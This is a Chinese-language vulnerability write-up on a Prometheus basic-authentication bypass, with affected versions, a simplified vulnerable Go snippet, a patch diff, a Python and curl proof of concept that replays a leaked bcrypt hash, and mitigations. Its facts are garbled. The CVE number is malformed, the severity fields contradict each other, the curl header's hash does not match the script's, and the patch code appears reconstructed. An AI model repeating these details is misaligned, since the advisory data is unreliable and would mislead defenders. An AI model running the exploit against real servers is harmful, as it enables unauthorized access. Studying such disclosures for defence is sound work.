一、漏洞简介¶
1.1 漏洞背景¶
Prometheus 支持通过 web.yml 配置文件设置基础认证(Basic Authentication)来保护 Web UI 和 API。密码使用 bcrypt 算法进行哈希存储。2022年11月,安全研究员 Lei Wan 发现该认证机制存在实现缺陷,攻击者如果获取了密码哈希值,可以通过构造特殊请求绕过认证。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-448-4q5m-8vx4 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | CVE-2022-448-4q5m-8vx4 - 基础认证绕过漏洞 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Prometheus |
- CVE编号: CVE-2022-448-4q5m-8vx4 (GHSA ID)
- 危害等级: 高危
- CVSS评分: 7.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
- 漏洞类型: CWE-287 - 认证不当
- 影响组件: Prometheus exporter-toolkit 认证模块
核验说明:原文使用编号 CVE-2022-448-4q5m-8vx4,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。
二、影响范围¶
2.1 受影响的版本¶
- Prometheus >= 2.0.0 且 < 2.37.4 (LTS 版本)
- Prometheus >= 2.38.0 且 < 2.40.4
2.2 不受影响的版本¶
- Prometheus >= 2.37.4 (LTS 分支)
- Prometheus >= 2.40.4 (最新分支)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
必要条件:
1. Prometheus 配置了 web.yml 文件启用基础认证
2. 攻击者已获取 web.yml 文件中的密码哈希值
3. 攻击者能直接访问 Prometheus 的 HTTP 端点
注意: 该漏洞的利用门槛相对较高,因为攻击者需要先获取密码哈希文件。
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞存在于 exporter-toolkit 的 bcrypt 认证缓存机制中。为了防止时序攻击(Timing Attack)并提高性能,Prometheus 会缓存密码哈希计算结果。然而,缓存实现存在缺陷,允许攻击者"毒化"缓存。
攻击流程:
- 前提: 攻击者已获取 bcrypt 哈希(例如通过文件读取漏洞)
- 步骤 1: 攻击者使用已知的哈希值构造认证请求
- 步骤 2: 发送特制请求污染内部缓存
- 步骤 3: 后续请求利用被污染的缓存绕过认证
- 结果: 攻击者无需真实密码即可访问受保护的 Prometheus 实例
技术细节:
// 缓存机制的问题代码(简化)
type authCache struct {
cache map[string]bool // 缓存哈希验证结果
mu sync.RWMutex
}
func (a *authCache) checkPassword(hash, password string) bool {
cacheKey := hash + ":" + password
// 检查缓存
a.mu.RLock()
if result, exists := a.cache[cacheKey]; exists {
a.mu.RUnlock()
return result
}
a.mu.RUnlock()
// 执行 bcrypt 比较
result := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil
// 存入缓存 - 问题点: 缓存键包含攻击者可控的哈希值
a.mu.Lock()
a.cache[cacheKey] = result
a.mu.Unlock()
return result
}
攻击者可以: 1. 提供任意哈希值和密码组合 2. 让系统缓存这个组合 3. 利用缓存绕过正常的认证流程
3.2 源码层面的根因分析(结合源码与补丁对比)¶
根本原因: 缓存键的构造方式允许攻击者注入已知的哈希值,从而绕过正常的密码验证流程。
补丁对比:
// exporter-toolkit 修复
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
- // 旧代码: 缓存键包含用户提供的哈希
- cacheKey := hash + ":" + password
-
+ // 新代码: 仅缓存用户名对应的哈希验证
+ cacheKey := username
+
+ // 添加额外的哈希来源验证
+ if !h.isValidHashForUser(username, hash) {
+ http.Error(w, "Unauthorized", http.StatusUnauthorized)
+ return
+ }
}
修复措施: 1. 修改缓存键策略,不再包含攻击者可控的哈希值 2. 添加哈希来源验证 3. 限制缓存的使用场景
四、漏洞复现(可选)¶
4.1 环境搭建¶
步骤 1: 创建 web.yml 配置文件
# web.yml
basic_auth_users:
admin: $2a$10$... # bcrypt 哈希
生成密码哈希:
# 使用 htpasswd 生成
htpasswd -nbBC 10 admin secretpassword
# 输出: admin:$2a$10$abcdefghijklmnopqrstuvwxyz...
# 或使用 Python
python3 -c "import bcrypt; print(bcrypt.hashpw(b'secretpassword', bcrypt.gensalt(rounds=10)).decode())"
步骤 2: 启动受影响版本的 Prometheus
docker run -d \
-p 9090:9090 \
-v $(pwd)/web.yml:/etc/prometheus/web.yml \
--name prometheus \
prom/prometheus:v2.40.3 \
--web.config.file=/etc/prometheus/web.yml
4.2 PoC 演示与测试过程¶
前提: 假设攻击者已通过某种方式获取了 web.yml 文件内容
# 泄露的 web.yml
basic_auth_users:
admin: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZRGdjGj/n3.QH1a7e9o9uLOickgx
攻击步骤:
#!/usr/bin/env python3
import requests
import base64
target = "http://localhost:9090"
known_hash = "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZRGdjGj/n3.QH1a7e9o9uLOickgx"
username = "admin"
# 步骤 1: 构造恶意请求污染缓存
# 利用实现缺陷,使用已知哈希值
payload = f"{username}:{known_hash}"
auth_header = base64.b64encode(payload.encode()).decode()
headers = {
"Authorization": f"Basic {auth_header}"
}
# 发送请求多次以污染缓存
for i in range(10):
response = requests.get(f"{target}/api/v1/status/config", headers=headers)
print(f"Attempt {i+1}: {response.status_code}")
# 步骤 2: 尝试访问受保护资源
response = requests.get(f"{target}/metrics", headers=headers)
print(f"Final access: {response.status_code}")
if response.status_code == 200:
print("[!] Authentication bypassed!")
print(response.text[:500])
else:
print("[-] Exploit failed")
curl 命令版本:
# 尝试绕过认证
curl -v http://localhost:9090/metrics \
-H "Authorization: Basic YWRtaW46JDJhJDEwJEE5cW84dUxPaWNrZ3gyWk1SWm9NeWVJalpSR2RqR2ovbjMuUUgxYTdlOW85"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
必须升级到以下版本: - Prometheus 2.37.4+ (LTS 长期支持分支) - Prometheus 2.40.4+ (最新功能分支)
# 检查当前版本
prometheus --version
# 升级操作
docker pull prom/prometheus:v2.40.4
docker stop prometheus && docker rm prometheus
docker run -d \
-p 9090:9090 \
-v $(pwd)/prometheus.yml:/etc/prometheus/prometheus.yml \
-v $(pwd)/web.yml:/etc/prometheus/web.yml \
--name prometheus \
prom/prometheus:v2.40.4 \
--config.file=/etc/prometheus/prometheus.yml \
--web.config.file=/etc/prometheus/web.yml
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1: 严格保护 web.yml 文件
# 设置严格的文件权限
chmod 600 /etc/prometheus/web.yml
chown prometheus:prometheus /etc/prometheus/web.yml
# 确保 web.yml 不在版本控制中
echo "web.yml" >> .gitignore
方案 2: 增加额外的认证层
Nginx 反向代理 + 双重认证:
upstream prometheus {
server 127.0.0.1:9090;
}
server {
listen 443 ssl;
server_name prometheus.example.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# 外层基础认证
auth_basic "Prometheus Access";
auth_basic_user_file /etc/nginx/.htpasswd;
# IP 白名单
allow 10.0.0.0/8;
allow 192.168.0.0/16;
deny all;
location / {
proxy_pass http://prometheus;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
方案 3: 使用 TLS 客户端证书认证
# web.yml - 增强的安全配置
tls_server_config:
cert_file: /etc/prometheus/cert.pem
key_file: /etc/prometheus/key.pem
client_auth_type: RequireAndVerifyClientCert
client_ca_file: /etc/prometheus/ca.pem
basic_auth_users:
admin: $2a$10$...
方案 4: 网络隔离
# Prometheus 仅监听本地地址
prometheus --web.listen-address="127.0.0.1:9090"
# 或通过防火墙限制
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/prometheus/prometheus/security/advisories/GHSA-4v48-4q5m-8vx4
- https://github.com/prometheus/prometheus/releases/tag/v2.37.4
- https://github.com/prometheus/prometheus/releases/tag/v2.40.4
6.2 其他技术参考资料¶
- https://github.com/prometheus/exporter-toolkit
- https://prometheus.io/docs/guides/basic-auth/
- https://en.wikipedia.org/wiki/Bcrypt